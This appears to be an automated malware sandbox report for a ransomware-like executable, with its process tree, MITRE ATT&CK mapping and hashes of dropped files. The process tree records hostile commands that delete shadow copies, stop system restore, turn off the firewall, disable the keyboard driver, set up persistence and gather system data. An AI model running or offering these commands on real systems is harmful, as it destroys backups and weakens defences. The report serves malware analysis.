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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4548
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3820
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4548
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4108
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6096 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5364
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5916 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5620
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5520
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3436
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5664 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3832
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5760
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2056
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4664
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4056
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4552
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:2416
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5032
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3884
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4456
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a1f855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:2476
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:5720
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C:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exeC:\Users\Admin\AppData\Local\Temp\brussh.co_hyber.exe2⤵PID:5996
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:5576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3920
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 090d8d5c7449d55995461da148017dd4506aad2630a4e4a523b71b7108f00644
- MD5 d7499520a71d2a396fedc8514c75480c
- SHA1 e37a573bcda71c3737d35c1efc90527f58cdf266
- SHA512 f3333e016653e6a1a67e505c82f4c9c93e618f653af2e7342511cd329c6ddb480257d7f25540329323364cd68f6d030dc908e3f2ee205cc9389904bb03303746
- SSDEEP 1536:R2Rveo0zwn1+7cRMa3EJSg5QAtMgIT9aFBJA8ezply9ueJzRBDEI8Ztse8qEj:RgvQzwnA81EJXroxzpl6uUzRRl8Ztse2
- TLSH T105632A334B23FDC5677B3D80F06439410C883A6747B5A768FBC90A693DA5688EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 12b1e3f08e4699d1005818e31ddd508a45e53604649ab20f0e8ddacc007cf8b0
- MD5 aaf815f99189f4938e28150db192c3ee
- SHA1 bc9c4b9833d044f8c8de8ab3cbf338f5c5501211
- SHA512 f4892b464758f100d80f331d794374d170c5500ef4a193ad78810bfd6d6eb3b490d3c4ef39fe8c310635b3bd46d4c317006ab2710b0f7136d1c23d9889324c94
- SSDEEP 1536:x2Rveo0zwn1+7cRMa3EJSg5QAtMgIT9aFBJA8ezply9ueJzRBDEI8Ztse8qE6:xgvQzwnA81EJXroxzpl6uUzRRl8ZtseR
- TLSH T19B6319334B23FDC5677B3D80F06439410C883A6747B5A768FBC90AA93DA5688DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 240B
- SHA256 ae5f1ffa811302abcca81f2dcef27f43241d236acd9a6c5352a943fe83babdce
- MD5 0af14df80198c06b3eba2804c20b41dc
- SHA1 4fe2b8f0a4430cfe9bf61540ee7dbc46f0359b87
- SHA512 f36db1837e33314ee19c9489adb9bfcf58998f15cc6027ba879d4c564435638129299093f2d405b254a76d9526581c5e35bb2b9381cf2dc617665a70cae949b2
- TLSH T1A4D0A78BB14DC6A90001123B81F3CE9DE5A588283B67BF704AA5DD4E379088489F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 241B
- SHA256 dab13dc90c740983767730bc05b8f4ea26b952ba397f54f4a4fc63e24695f355
- MD5 5c33bd8595b5c7d21615b7e8b860f6c3
- SHA1 53e83d10fd7b2c30247a0f6a58515fe1765eaf64
- SHA512 eec0a0eac3f54b54b8403055865734f28af53eca55b0f757bab535249f3817801079d5d3590a69034261d3899e72b49114036f6bcf9ca37d1139226a39cd45a9
- TLSH T1BCD0A7CBB14DC6A90001123B80F3CE9DE6E588283B67BF709AA5DD0F378088489F6543
- MD5 SHA1 SHA512 TLSH